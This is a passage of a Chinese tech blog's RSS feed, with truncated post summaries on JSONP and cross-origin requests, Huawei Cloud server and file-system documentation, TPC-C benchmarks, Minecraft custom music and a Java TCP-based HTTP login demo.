      <title>解决前端跨域的几种方法</title>
      <link>https://bchobby.github.io/posts/0f8b2a3d69ca88f21826eaf29460a33e/</link>
      <pubDate>Tue, 10 Aug 2021 16:02:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f8b2a3d69ca88f21826eaf29460a33e/</guid>
      <description>解决前端跨域的几种方法 了解跨域出现的原因 解决跨域的几种方法 想要解决跨域 先要知道为什么会出现跨域 跨域:指的是浏览器不能执行其他网站的脚本 它是由浏览器的同源策略造成的 是浏览器对javascript添加的安全限制 同源策略是一种约定 是浏览器核心的安全功能&#xA;同源策略会造成以下的影响&#xA;Cookie、LocalStorage 和 IndexDB 无法读取&#xA;DOM 和 JS 对象无法获取&#xA;Ajax请求发送不出去&#xA;是否同源主要看一下三个方面: 协议是否相同（http https file）主机地址是否相同（www.xxx.com 127.0.0.1）端口（0~65535）（http 默认端口是 80；https 默认端口是 443；MySQL 默认端口 3306） 如果两个 url 的协议、主机地址、端口都相同，那么这两个 url 是同源的，否则就是非同源。&#xA;解决跨域的方案主要有以下几种 JSONP 是程序员被迫想出来的解决跨域的方案。&#xA;JSONP 方案和 Ajax 没有任何关系&#xA;JSONP 方案只支持 GET 请求 不支持post请求&#xA;JSONP 没有浏览器兼容问题，任何浏览器都支持。&#xA;核心思想：网页通过添加一个&amp;lt;script&amp;gt;元素，向服务器请求 JSON 数据，服务器收到请求后，将数据放在一个指定名字的回调函数的参数位置传回来。&#xA;原理&#xA;客户端利用 script 标签的 src 属性，去请求一个接口，因为 src 属性不受跨域影响。服务端响应一个字符串客户端接收到字符串，然后把它当做 JS 代码运行。 后端接口代码：&#xA;app.get(&#34;/api/jsonp&#34;, (req, res) =&amp;gt; { // res.</description>
    </item>
    <item>
      <title>运行项目怎么配置服务器,运行项目怎么配置服务器</title>
      <link>https://bchobby.github.io/posts/7d50702cc8c5d90b51955cee123977a4/</link>
      <pubDate>Tue, 10 Aug 2021 15:35:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d50702cc8c5d90b51955cee123977a4/</guid>
      <description>运行项目怎么配置服务器 内容精选&#xA;换一换&#xA;弹性云服务器(Elastic Cloud Server)是一种可随时自动获取、计算能力可弹性伸缩的云服务器，可帮助您打造可靠、安全、灵活、高效的应用环境，确保服务持久稳定运行，提升运维效率。&#xA;目标服务器已安装操作系统，并且处于联网状态。目标服务器已安装鲲鹏编译插件。&#xA;运行项目怎么配置服务器 相关内容&#xA;目标服务器已安装操作系统，并且处于联网状态。目标服务器已安装鲲鹏编译插件。&#xA;简要介绍Solr是一个独立的企业级搜索应用服务器，它对外提供类似于Web-service的API接口。用户可以通过http请求，向搜索引擎服务器提交一定格式的XML文件，生成索引；也可以通过Http Get操作提出查找请求，并得到XML格式的返回结果。语言：Java一句话描述：企业级搜索应用服务器开源协议：Apache建议的版本建议使用版&#xA;运行项目怎么配置服务器 更多内容&#xA;一次完整的HTTP请求包括域名解析、建立TCP连接、发起请求、服务器接收到请求进行处理并返回处理结果、浏览器对HTML代码进行解析并请求其他资源，以及对页面进行渲染呈现。其中，HTTP的请求过程经历了用户本地客户端、客户端到接入服务器之间的网络节点以及服务器。在这三个环节中，任意一个环节出现问题都有可能导致访问ECS实例上运行的网站卡顿。&#xA;保证源端与目的端网络连通，以及华为云上目的端服务器的安全组规则允许Iperf测试端口开放。配置安全组规则的具体方法请参见如何配置目的端服务器安全组规则？。该测试需要在迁移前进行，而且在源端服务器上运行的业务对网络影响不大，否则测试数据不准。执行以下命令，进入iperf目录。cd /d path其中，path指2中iperf工具解压后在目的&#xA;通过设置弹性云服务器告警规则，用户可自定义监控目标与通知策略，及时了解弹性云服务器运行状况，从而起到预警作用。设置弹性云服务器的告警规则包括设置告警规则名称、监控对象、监控指标、告警阈值、监控周期和是否发送通知等参数。本节介绍了设置弹性云服务器告警规则的具体方法。登录管理控制台。单击管理控制台左上角的，选择区域和项目。选择“管理与部署 &amp;gt;&#xA;云监控服务提供了资源分组功能和告警功能。如何将您的资源进行有效分组，并按分组后的资源监控指标通过短信或邮箱告知告警信息呢？本章节为您解答上述问题。假设我们有4台云服务器，两台用于开发项目组(ECS-01和ECS-02)，两台用于测试项目组(ECS-03和ECS-04)。现在需要通过告警通知功能，及时获取开发组下的两台弹性云服务器的资源运行&#xA;您可以通过登录管理控制台查询当前云服务器的Agent版本，详细操作步骤如下：登录管理控制台。在管理控制台左上角单击图标，选择区域和项目。在服务列表中选择“服务列表 &amp;gt; 云监控服务”。进入云监控服务页面。进入云监控服务页面。在左侧导航栏选择“主机监控 &amp;gt; 弹性云服务器”。进入主机监控页面。进入主机监控页面。单击资源所在行的“更多 &amp;gt; 修改升&#xA;对于非应用创建的资源，如果需要通过应用来进行管理，可以通过纳管功能实现。目前纳管仅支持运行中和关机状态的云服务器。通过模板创建的应用不支持纳管。分辨率低的情况下单击页面右上方的“更多 &amp;gt; 企业 &amp;gt; 项目管理”。页面下方展示应用列表。系统进入“应用纳管”配置页面。单击下拉箭头，选择待纳管资源所属企业项目名称。单击下拉箭头，选择待纳管资源所属&#xA;用户所能使用的弹性公网IP数目默认为一个，如果需要扩大弹性公网IP的配额则需要另外申请。使用负载均衡功能时，系统会自动分配一个公网IP，该公网IP属于弹性公网IP。为了避免出现弹性公网IP配额不足的情况，建议先释放弹性公网IP再申请弹性负载均衡服务。配置特性时，未开通企业管理的用户页面无“企业项目”参数项，无需进行配置。如需开通企业项目，&#xA;以Cmake构建为例，介绍如何使用编译构建服务鲲鹏环境构建项目，并上传软件包到软件发布仓库。登录DevCloud首页，创建项目。进入代码托管页面，单击普通新建旁的下拉箭头，选择按模板新建。选择系统提供的官方模板Cpp Demo，单击下一步。输入代码仓库名称Cmake_test，单击确定。根据需要选择工具版本。配置Cmake命令，一般使用系&#xA;迁移任务失败后，目的端系统盘是以SMS为开头的临时系统盘，而非目的端本身系统盘，目的端本身系统盘无法被挂载上去。任务失败后，迁移过程中原有的卸载临时镜像的步骤未执行，导致系统盘仍为SMS创建的临时镜像盘。需要手动卸载临时镜像。以linux系统为例，说明如何处理该问题若Agent没有卸载，可执行以下操作，挂载系统盘。使源端状态为在线状态：在&#xA;部署提供可视化、一键式部署服务，支持并行部署和流水线无缝集成，实现部署环境标准化和部署过程自动化。本节通过以下六步介绍如何使用部署服务将归档在软件发布库的软件包部署到云主机上。第一步：准备弹性云服务器第二步：添加授信主机第三步：新建部署任务第四步：执行部署任务第五步：验证部署结果“超级冷笑话网站”是一个Web项目，需要部署到服务器上才可以&#xA;伸缩组是具有相同属性和应用场景的云服务器和伸缩策略的集合，是启停伸缩策略和进行伸缩活动的基本单位。您可以使用伸缩策略设定的条件自动增加、减少伸缩组中的实例数量，或维持伸缩组中固定的实例数量。创建伸缩组，需要配置最大实例数、最小实例数、期望实例数和负载均衡器等参数。不同可用区支持的云服务器类型可能不同。如果伸缩组中所有可用区均不支持伸缩配置</description>
    </item>
    <item>
      <title>tpc服务器做系统,tpc-c对应服务器配置</title>
      <link>https://bchobby.github.io/posts/c0d8f656ad53dc363642e691c0c7c9ae/</link>
      <pubDate>Tue, 10 Aug 2021 15:33:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0d8f656ad53dc363642e691c0c7c9ae/</guid>
      <description>tpc-c对应服务器配置 内容精选&#xA;换一换&#xA;简要介绍BusyBox将许多常见UNIX实用程序的微型版本组合到单个小型可执行文件中。它代替了您通常在GNU fileutils，shellutils等中发现的大多数实用程序。BusyBox中的实用程序通常比其功能齐全的GNU少一些选项。但是，所包含的选项提供了预期的功能，并且其行为与GNU对应项非常相似。 BusyBox为任何小型或嵌入&#xA;简要介绍Wtdbg2是一个三代测序数据(同时适用于pacbio和nanopore)denovo组装软件，它是一款基于C语言开发的开源软件。相较于其他三代数据组装软件(Canu，smartdenovo，miniasm，FALCON，FALCON-unzip)，优点如下：安装简单(反例FALCON，安装过程非常复杂)使用简单，可用run_wt&#xA;tpc-c对应服务器配置 相关内容&#xA;Linux操作系统XEN实例变更为KVM实例前，必须已完成必要的驱动安装和配置。本节操作指导您使用自动化脚本的方式为Linux云服务器安装驱动、配置磁盘自动挂载等，并将XEN实例变更为KVM实例。XEN实例：S1、C1、C2、M1型弹性云服务器。KVM实例：参考规格清单，查询对应规格的虚拟化类型。为了同时支持XEN虚拟化和KVM虚拟化，L&#xA;简要介绍libconfig是一个结构化的配置文件库，用于结构化文件的读取、操作和写入，提供对C、C++两种语言的支持。语言：C一句话描述：结构化的配置文件库开源协议：LGPL-2.1建议的版本建议使用版本为libconfig-1.7.2。云服务器要求本文以云服务器KC1实例测试，云服务器配置如表1所示。操作系统要求操作系统要求如表2所示。&#xA;tpc-c对应服务器配置 更多内容&#xA;目标服务器已安装操作系统，并且处于联网状态。目标服务器已安装鲲鹏编译插件。&#xA;目标服务器已安装操作系统，并且处于联网状态。目标服务器已安装鲲鹏编译插件。&#xA;简要介绍Mongoose是C语言写成的网络库。它为TCP、UDP、HTTP、WebSocket、CoAP、MQTT实现了事件驱动型的非阻塞api，常在嵌入式设备中作为一种轻量级的Web服务器使用。编写语言：C一句话概述：轻量级的Web服务器建议的版本建议使用版本为6.10。云服务器要求本文以云服务器KC1实例测试，云服务器配置如表1所示。&#xA;客户端IP指的是访问者(用户设备)的IP地址。在Web应用开发中，通常需要获取客户端真实的IP地址。例如，投票系统为了防止刷票，需要通过获取客户端真实IP地址，限制每个客户端IP地址只能投票一次。当您的网站已接入Web应用防火墙(Web Application Firewall，简称WAF)进行安全防护时，可直接通过WAF获取客户端的真实&#xA;简要介绍Miniasm是由李恒开发，适合于小基因组及重复序列比例低的基因组组装，相对于Canu和Falcon软件，Miniasm组装速度非常快。语言：C/C++一句话描述：三代基因测序组装软件开源协议： MIT建议的版本建议通过git下载最新版本。云服务器要求本文以云服务器KC1实例测试，云服务器配置如表1所示。操作系统要求操作系统要求如&#xA;支持。在网站类业务和非网站类业务接入DDoS高防，添加防护的域名时，您可以根据业务需求配置单域名或泛域名，说明如下：单域名配置待防护的单域名。例如：www.example.com。配置待防护的单域名。例如：www.example.com。泛域名配置泛域名可以使DDoS高防防护泛域名下的多级域名。如果各子域名对应的服务器IP地址相同：配置防&#xA;支持。在网站类业务和非网站类业务接入DDoS高防，添加防护的域名时，您可以根据业务需求配置单域名或泛域名，说明如下：单域名配置待防护的单域名。例如：www.example.com。配置待防护的单域名。例如：www.example.com。泛域名配置泛域名可以使DDoS高防防护泛域名下的多级域名。如果各子域名对应的服务器IP地址相同：配置防&#xA;通过在一台支持远程桌面的Windows系统或者Linux操作系统服务器上，部署客户端软件和浏览器，应用发布是将服务器和应用账户纳入云堡垒机管理的功能。用户获取应用发布访问权限后，通过应用账户的密码自动代填，访问客户端应用和Web应用，并以视频方式全程记录用户运维操作，实现对远程应用账户的安全管理和用户远程访问应用的操作审计。云堡垒机支持添&#xA;简要介绍ipvsadm是LVS的管理工具。语言：C/C++一句话描述：LVS管理工具开源协议：GPL2云服务器要求本文以云服务器KC1实例测试，云服务器配置如表1所示。操作系统要求操作系统要求如表2所示。通过yum方式安装即可。yum install ipvsadm执行ipvsadm命令。ipvsadm回显如图1所示。使用LVS功能，内核&#xA;简要介绍OpenSSL是一个开放源代码的软件库包，应用程序可以使用这个包来进行安全通信，避免窃听，同时确认另一端连接者的身份。语言：C/C++一句话描述：软件库建议的版本建议使用版本为openssl 1.1.1 FIPS(针对EulerOS)和OpenSSL 1.0.2k-fips(针对CentOS)。华为云ECS镜像自带openssl，&#xA;简要介绍JpegOptim是用于优化jpeg文件的实用程序，提供无损优化(基于优化霍夫曼表)和基于设置最大品质因数的“有损”优化。语言：C一句话描述：用于优化jpeg文件的实用程序开源协议：GPL 2建议的版本建议使用版本为jpegoptim-1.4.6。云服务器要求本文以云服务器KC1实例测试，云服务器配置如表1所示。操作系统要求操作系</description>
    </item>
    <item>
      <title>tpc服务器做系统,什么是TPC-C，它为什么会退出历史舞台？</title>
      <link>https://bchobby.github.io/posts/2e5e6126d81ab8cae7bf56e9c4157f59/</link>
      <pubDate>Tue, 10 Aug 2021 15:33:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e5e6126d81ab8cae7bf56e9c4157f59/</guid>
      <description>【IT168 专稿】OLTP测试模型一直是TPC组织的重点测试标准，TPC-C的前身TPC-A就是TPC组织发布的第一个测试标准。TPC-C发布于1992年7月，至今已有16年的历史。TPC-C测试模拟了一个比较复杂的OLTP应用环境，其操作环境由一系列仓库组成，每个仓库有若干个终端，分别代表销售站点和查询站点，并给出两个基准测试指标——性能指标tpmC和性价比指标$/tpmC。&#xA;TPC-C测试的系统所执行的事务处理包括3种“前台”交易和2类“后台”事务处理。3个“前台”交易分别为：送入新订单、查询订单状态和支付款项。2个“后台”事务处理分别为：库存水平查询和产品发送。每个“后台”事务处理的工作量比“前台”交易大得多。例如，库存水平查询需要扫描仓库的整个库存，从中找出已经脱销或即将脱销的货品。每个终端上都需要运行远程终端仿真程序(RTE)，用于在性能测试期间内按照规定的混合比例连续向服务器发送5种作业。系统通过连续执行各个终端上RTE发送的5种作业，模拟企业分布式数据库应用系统。每种作业都有一个时间阈值，规定相应类型作业最长的系统响应时间。例如，送入新订单作业的阈值为5秒，即送入新订单的系统响应时间不能超过5秒。系统在保证执行各类作业的时间都不超过阈值的条件下，每分钟所执行的送入新订单作业量即为系统的tpmC基准测试指标。系统的总成本除以tpmC值，即为每个tpmC的价格，称作量度系统的性价比。&#xA;TPC-C逼真的模拟了OLTP应用，在发布后逐渐得到广大用户的认可，使用tpmC作为其计算机系统性能评价体系基础的用户数量逐年上升，这大大地鼓舞了软硬件厂商参与TPC-C测试的热情，纷纷斥巨资进行这一测试，随之而来的是测试规模的不断扩大，其中以磁盘数目为最，以目前排名第二的HP测试成绩来说，其中使用了7000多块硬盘，总成本达到了将近1200万美元。&#xA;不过，随着信息产业的不断发展，TPC-C的一些问题也慢慢暴露出来。首先，随着B2B、B2C等新型应用逐渐兴起，TPC-C现有的仓库管理系统测试模型已经距离目前的OLTP用户应用模式越来越远，5种作业需求也不足以覆盖用户现有的典型操作；其次，众多的测试设备投入使得TPC-C测试给厂商带来了较大的压力，这并不是TPC组织愿意看到的，因此TPC组织于2007年3月推出了全新的OLTP测试标准——TPC-E，意在用这个测试标准取代TPC-C测试，从而对上述问题起到解决作用。但取代过程不是一蹴而就的，目前状态是TPC-C与TPC-E测试并存。&#xA;相关活动:&#xA;去ChinaUNIX社区参与有奖讨论: TPC-E对服务器采购有多大参考价值?&#xA;活动时间：9月8日-9月21日&#xA;入口: http://bbs.chinaunix.net/thread-1263546-1-1.html</description>
    </item>
    <item>
      <title>mc服务器音乐文件夹在哪,添加自定义音乐图文教程 我的世界怎么添加音乐</title>
      <link>https://bchobby.github.io/posts/3ff8588e9e2da6fb56b1901929fbd85e/</link>
      <pubDate>Tue, 10 Aug 2021 15:14:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ff8588e9e2da6fb56b1901929fbd85e/</guid>
      <description>来源：游戏园日期：2019-04-29 04:03:06&#xA;添加自定义音乐图文教程 我的世界怎么添加音乐。那我的世界游戏也是有游戏音乐的，那肯定会有玩家想要在玩游戏的时候一边玩游戏，一边听自己喜欢的歌，那我的世界要怎么添加自定义音乐呢？那下面就和大家分享一下添加自定义音乐图文教程吧！希望对大家有所帮助。&#xA;首先需要注意的就是下文中所有的字符都要是半角字符哦~一定要是半角字符哦！千万别忘了。&#xA;首先是服务器里面使用的音乐。大家可以试试看“服务器材质”选项，看看行不行，要是不行的话就只能手动下载安装了。&#xA;下面就是教程：&#xA;1、首先打开你的材质包(resourcepaces/XXX/assets/minecraft)。然后在minecraft文件夹中创建一个sounds’文件夹与‘sounds.json’文件，接着打开sounds文件夹创建‘music’文件夹。如下图所示：&#xA;2、接着玩家将你所需要的音乐(可以使多首歌，但是格式一定必须是.ogg格式)放到该文件夹内或子目录下属的文件夹内(当然玩家也可以另行创建文件夹哦！下面会讲)，并确认文件的名字与下属目录。&#xA;下属文件夹示例：&#xA;一堆杂七杂八的歌曲&#xA;3、用记事本的方式打开sounds.json，输入下面的字符(当想使用音乐作为游戏内背景音乐时)&#xA;1. {&#xA;2. &#34;music.[A].[B1]&#34;: {&#xA;3. &#34;category&#34;: &#34;music&#34;,&#xA;4. &#34;sounds&#34;: [&#xA;5. {&#xA;6. &#34;name&#34;: &#34;music/[A]/[B2]&#34;&#xA;7. &#34;stream&#34;: true&#xA;8. }&#xA;9. ]&#xA;10. }&#xA;11. }&#xA;注释：[A]就是music文件夹中的文件夹名称(下文中[C]是[A]的下属文件夹)；[B1]则是游戏内部调用音乐时的名字(最好全部小写)；下面的[B2]则是你音乐的名称(必须与文件夹内的音乐名称是相同的，空格使用下划线替代且不带后缀文件格式.ogg) 第二行解释：如果直接将音乐文件拖入music文件夹中是可以不用写.[A]，改为&#34;music.[B1]&#34;;如果在这个文件夹下另建了子目录文件夹，就需要玩家改为&#34;music.[A].[C].[B1]&#34;，以此类推。而第六行指令相应改为&#34;music/[B]&#34;或&#34;music/[A]/[C]/[B2]&#34;&#xA;4、这时候要保存文件，登陆minecraft更换材质包，可以尝试一下刚刚你更换的歌曲了。是不是非常简单呢？&#xA;以上就是添加自定义音乐图文教程 我的世界怎么添加音乐。更多精彩尽在游戏园我的世界专区。</description>
    </item>
    <item>
      <title>安卓将文件传给服务器,安卓传文件给服务器</title>
      <link>https://bchobby.github.io/posts/398215e894c466f1006ebdb5c89d8e06/</link>
      <pubDate>Tue, 10 Aug 2021 15:06:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/398215e894c466f1006ebdb5c89d8e06/</guid>
      <description>安卓传文件给服务器 内容精选&#xA;换一换&#xA;鲲鹏BoostKit ARM原生使能套件(简称鲲鹏BoostKit ARM原生)，简单说就是将安卓应用放到服务器上运行，即移动应用上云。随着无线网络的发展，移动应用上云的场景会越来越多，安卓云将是一个重要的新方向。典型应用场景包括：安卓应用测试托管、云游戏、移动办公等。鲲鹏BoostKit ARM原生主要组件包括：硬件：TaiShan系列&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;安卓传文件给服务器 相关内容&#xA;请先下载Robox源码：https://github.com/kunpengcompute/robox/tree/masterExaGear转码补丁获取路径如下：https://github.com/kunpengcompute/robox/tree/master/Exagear物理机内核源码下载地址：https://launchpad.&#xA;安卓传文件给服务器 更多内容&#xA;安卓模拟器(Android Virtual Device)，简称AVD，可以模拟安卓设备并将其运行在服务器上。利用AVD，您可以对安卓应用进行原型设计、开发和测试，而无需使用真实的手机。AVD具备运行安卓应用、adb连接、上网、屏幕、GPS定位、电池、及VNC远程连接等基本功能。本文档针对CentOS 7.6系统，指导搭建基于Taisha&#xA;鲲鹏BoostKit ARM原生使能套件(简称：鲲鹏BoostKit ARM原生)总体架构主要由：硬件平台、主机OS、虚拟化层、Guest OS层组成。鲲鹏BoostKit ARM原生总体架构详细构成如图1所示。&#xA;安装传输工具在本地主机和Windows云服务器上分别安装数据传输工具，将文件上传到云服务器。例如QQ.exe。在本地主机和Windows云服务器上分别安装数据传输工具，将文件上传到云服务器。例如QQ.exe。本地磁盘映射(推荐使用)使用远程桌面连接MSTSC方式进行数据传输。该方式不支持断点续传，可能存在传输中断的情况，因此不建议上传大文&#xA;硬件要求如表1所示。根据业务类型决定是否需要配置GPU，如果应用没有较强的渲染需求(如后台计算型业务、不涉及UI交互的业务及非游戏类业务等)，可不配置GPU，利用CPU进行渲染。操作系统要求：Ubuntu 18.04.1。如果Ubuntu操作系统没有安装，请下载Ubuntu镜像包，并安装。在安装操作系统过程中“选择软件列表”时，只需选Op&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;远程桌面协议(Remote Desktop Protocol，RDP)，是微软提供的多通道的远程登录协议。本节为您介绍如何使用RDP文件远程登录Windows云服务器。从管理控制台下载的RDP文件对应唯一的云服务器，当前RDP文件命名规则为“云服务器名称-弹性IP”。云服务器状态为“运行中”。云服务器已经绑定弹性公网IP。所在安全组入方向&#xA;使用mount命令挂载文件系统到云服务器，云服务器提示access denied，挂载失败。原因1：文件系统已被删除。原因2：执行挂载命令的云服务器和被挂载的文件系统不在同一VPC下。原因3：挂载命令中的挂载地址输入错误。原因4：使用虚拟IP访问弹性文件服务。原因5：访问文件系统使用的DNS错误。原因6：将CIFS类型的文件系统挂载至Li&#xA;安装安卓模拟器的硬件环境要求如表1 硬件环境要求所示。根据业务类型决定是否需要配置GPU，如果应用没有较强的渲染需求(如后台计算型业务、不涉及UI交互的业务及非游戏类业务等)，可不配置GPU，利用CPU进行渲染。操作系统要求：CentOS 7.6。如果CentOS操作系统没有安装，请下载CentOS镜像包，并安装。在安装操作系统过程中配置&#xA;当创建文件系统后，您需要使用云服务器来挂载该文件系统，以实现多个云服务器共享使用文件系统的目的。本章节以Windows 2012版本操作系统为例进行NFS文件系统挂载，其他版本请参考以下主要步骤根据实际界面进行配置。同一SFS容量型文件系统不能同时支持NFS协议和CIFS协议。裸金属服务器、容器(CCE&amp;amp;CCI)操作与云服务器一致。已完成&#xA;远程桌面协议(Remote Desktop Protocol，RDP)，是微软提供的多通道的远程登录协议。本节为您介绍如何使用RDP文件远程登录Windows弹性云服务器。从管理控制台下载的RDP文件对应唯一的云服务器，当前RDP文件命名规则为“云服务器名称-弹性IP”。弹性云服务器状态为“运行中”。如果弹性云服务器采用密钥方式鉴权，已获&#xA;云服务器无法访问文件系统，提示被拒绝，导致该云服务器的所有业务异常。原因1：文件系统状态异常。原因2：云服务器在强制umount之后，无法挂载。根据可能原因进行故障排查。原因1：文件系统状态异常。登录管理控制台，进入弹性文件服务页面，查看该文件系统状态，如果为“可用”状态，说明文件系统可正常访问。是 =&amp;gt; 原因2。否 =&amp;gt; 请参考文件系统</description>
    </item>
    <item>
      <title>第三方xp文件服务器,xp搭建文件服务器</title>
      <link>https://bchobby.github.io/posts/1343e75eb8603cc9b908062ba001d1db/</link>
      <pubDate>Tue, 10 Aug 2021 14:46:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1343e75eb8603cc9b908062ba001d1db/</guid>
      <description>xp搭建文件服务器 内容精选&#xA;换一换&#xA;弹性文件服务与其他云服务的关系如图1所示。&#xA;当创建文件系统后，您需要使用云服务器来挂载该文件系统，以实现多个云服务器共享使用文件系统的目的。CIFS类型的文件系统不支持使用Linux操作系统的云服务器进行挂载。同一SFS容量型文件系统不能同时支持NFS协议和CIFS协议。裸金属服务器、容器(CCE&amp;amp;CCI)操作与云服务器一致。确定云服务器操作系统类型，不同操作系统安装NFS客户端的&#xA;xp搭建文件服务器 相关内容&#xA;在SAP HANA系统中，Backup卷由SFS或SFS Turbo提供时，您可根据实际需要创建一个SFS或SFS Turbo，提供共享路径给SAP HANA节点。SFS与SFS Turbo的区别SFS是高带宽、大容量的文件存储服务，而SFS Turbo是低时延、高IOPS的文件存储服务。SFS同时支持NFS和CIFS两种协议，SFS T&#xA;将SAP应用服务器迁移到华为云，有以下两种方法：用方法一：主机迁移服务SMS进行迁移用方法二：镜像导入的方式进行迁移。我推荐使用方法一进行迁移，但是对于源端为虚拟机的情况，也可以使用方法二作为备选方案。使用SMS进行迁移的目的系统与源系统基本保持一致，迁移后目的端与源端的变换，您可以参见迁移后目的端与源端相比有哪些变化。以下以一台HANA&#xA;xp搭建文件服务器 更多内容&#xA;在云服务器上搭建网站后，部分客户通过本地网络访问网站时出现偶发性无法访问的情况。确认客户使用的本地网络。若客户的本地网络是NAT网络(本地主机通过NAT功能使用公网IP地址访问弹性云服务器)，可能会导致该问题。若客户的本地网络是NAT网络(本地主机通过NAT功能使用公网IP地址访问弹性云服务器)，可能会导致该问题。执行以下命令，查看搭建网&#xA;在云服务器上搭建网站后，部分客户通过本地网络访问网站时出现偶发性无法访问的情况。确认客户使用的本地网络。若客户的本地网络是NAT网络(本地主机通过NAT功能使用公网IP地址访问弹性云服务器)，可能会导致该问题。若客户的本地网络是NAT网络(本地主机通过NAT功能使用公网IP地址访问弹性云服务器)，可能会导致该问题。执行以下命令，查看搭建网&#xA;使用mount命令挂载文件系统到云服务器，云服务器提示access denied，挂载失败。原因1：文件系统已被删除。原因2：执行挂载命令的云服务器和被挂载的文件系统不在同一VPC下。原因3：挂载命令中的挂载地址输入错误。原因4：使用虚拟IP访问弹性文件服务。原因5：访问文件系统使用的DNS错误。原因6：将CIFS类型的文件系统挂载至Li&#xA;当创建文件系统后，需要在SAP HANA&amp;amp;SAP B1节点挂载文件系统为SAP HANA提供Backup卷，本章节指导用户挂载SFS文件系统到云服务器上。已完成创建文件系统，并获取到文件系统的共享路径。已配置了用于解析文件系统域名的DNS服务器的IP地址。rpm -qa|grep nfs回显如下类似信息：是，执行3。否，执行zypper&#xA;弹性文件服务(Scalable File Service，SFS)提供按需扩展的高性能文件存储(NAS)，可为云上多个弹性云服务器(Elastic Cloud Server，ECS)，容器(CCE&amp;amp;CCI)，裸金属服务器(BMS)提供共享访问。了解更多关于SFS的信息，请参见弹性文件服务简介 。在SAP HANA系统中，Backup卷由&#xA;安装MySQL本文档以“CentOS 6.5 64bit(40GB)”操作系统为例，对应MySQL版本为5.1.73。CentOS 7及以上版本将MySQL数据库软件从默认的程序列表中移除，需执行sudo rpm -Uvh http://dev.mysql.com/get/mysql-community-release-el7-5.noa&#xA;Linux操作系统的弹性云服务器默认只能通过root帐号使用mount命令进行挂载文件系统，但可通过赋予其他普通用户root权限，达到使非root的普通用户能够在弹性云服务器上使用mount命令挂载文件系统。以下操作以Euler OS系统的弹性云服务器为例介绍如何通过普通用户帐号将文件系统挂载到Linux云服务器。云服务器中已创建非roo&#xA;FTP/SFTP连接适用于从线下文件服务器或ECS服务器上迁移文件到OBS或数据库。当前仅支持Linux操作系统的FTP 服务器。连接FTP或SFTP服务器时，他们的连接参数相同，如表1所示。FTP/SFTP连接参数参数名说明取值样例名称连接的名称，根据连接的数据源类型，用户可自定义便于记忆、区分的连接名。ftp_link主机名或IPFT&#xA;安装MySQL本文档以“CentOS 6.5 64bit(40GB)”操作系统为例，对应MySQL版本为5.1.73。CentOS 7及以上版本将MySQL数据库软件从默认的程序列表中移除，需执行sudo rpm -Uvh http://dev.mysql.com/get/mysql-community-release-el7-5.noa&#xA;共享云硬盘是一种支持多个云服务器并发读写访问的数据块级存储设备，具备多挂载点、高并发性、高性能、高可靠性等特点。主要应用于需要支持集群、HA(High Available，指高可用集群)能力的关键企业应用场景，多个云服务器可同时访问一个共享云硬盘。一块共享云硬盘最多可同时挂载至16台云服务器，云服务器包括弹性云服务器和裸金属服务器。实现文</description>
    </item>
    <item>
      <title>JavaWeb(用eclipse简单实现使用tcp模拟处理http请求与响应案例)</title>
      <link>https://bchobby.github.io/posts/66ca00945988bd68bdafb8bdc704d2e1/</link>
      <pubDate>Tue, 10 Aug 2021 13:50:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66ca00945988bd68bdafb8bdc704d2e1/</guid>
      <description>目的:使用tcp完成浏览器请求并作出对应响应&#xA;浏览器输入localhost:8888/login.html 或其他html返回对应的html页面&#xA;在返回的登录页面 输入账号 密码 点击登录 url格式如下&#xA;localhost:8888/login?username=zhangsan&amp;amp;password=123456&#xA;根据请求 判断账号密码是否为 账号zhangsan 密码123456&#xA;返回响应 登录成功 或 登录失败&#xA;1.准备了一个简易的登录页面login.html和favicon.ico图标&#xA;注意:请求的方式必须用get方法 不然该java代码无法获取你的url从而无法判断账户和密码&#xA;&amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;登录页面&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;form action=&#34;https://bchobby.github.io/login&#34; method=&#34;get&#34;&amp;gt; 账户:&amp;lt;input type=&#34;text&#34; name=&#34;username&#34;&amp;gt; &amp;lt;br&amp;gt; 密码:&amp;lt;input type=&#34;password&#34; name=&#34;password&#34;&amp;gt; &amp;lt;br&amp;gt; &amp;lt;input type =&#34;submit&#34; value = &#34;登录&#34;&amp;gt; &amp;lt;/form&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 百度搜索http://www.ico51.cn/把任意一个图片转换成favicon.ico图标&#xA;2.用java写的实现代码如下&#xA;/* * //使用tcp完成浏览器请求并作出对应响应 //浏览器输入 //localhost:8888/login.html 或其他html返回对应的html页面 //在返回的登录页面 输入账号 密码 点击登录 url格式如下 //localhost:8888/login?username=zhangsan&amp;amp;password=123456 //根据请求 判断账号 密码是否为 zhangsan 123456 //返回响应 登录成功 或 登录失败 */ public static void main(String[] args) throws Exception { // 创建sokect服务器监听指定端口&#x9;ServerSocket ss = new ServerSocket(8888); while (true) { // 获取客户端连接对象 Socket s = ss.</description>
    </item>
    <item>
      <title>echarts基础语法</title>
      <link>https://bchobby.github.io/posts/bd7dc907ad672b5ba1ececb82521aa5e/</link>
      <pubDate>Tue, 10 Aug 2021 12:13:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd7dc907ad672b5ba1ececb82521aa5e/</guid>
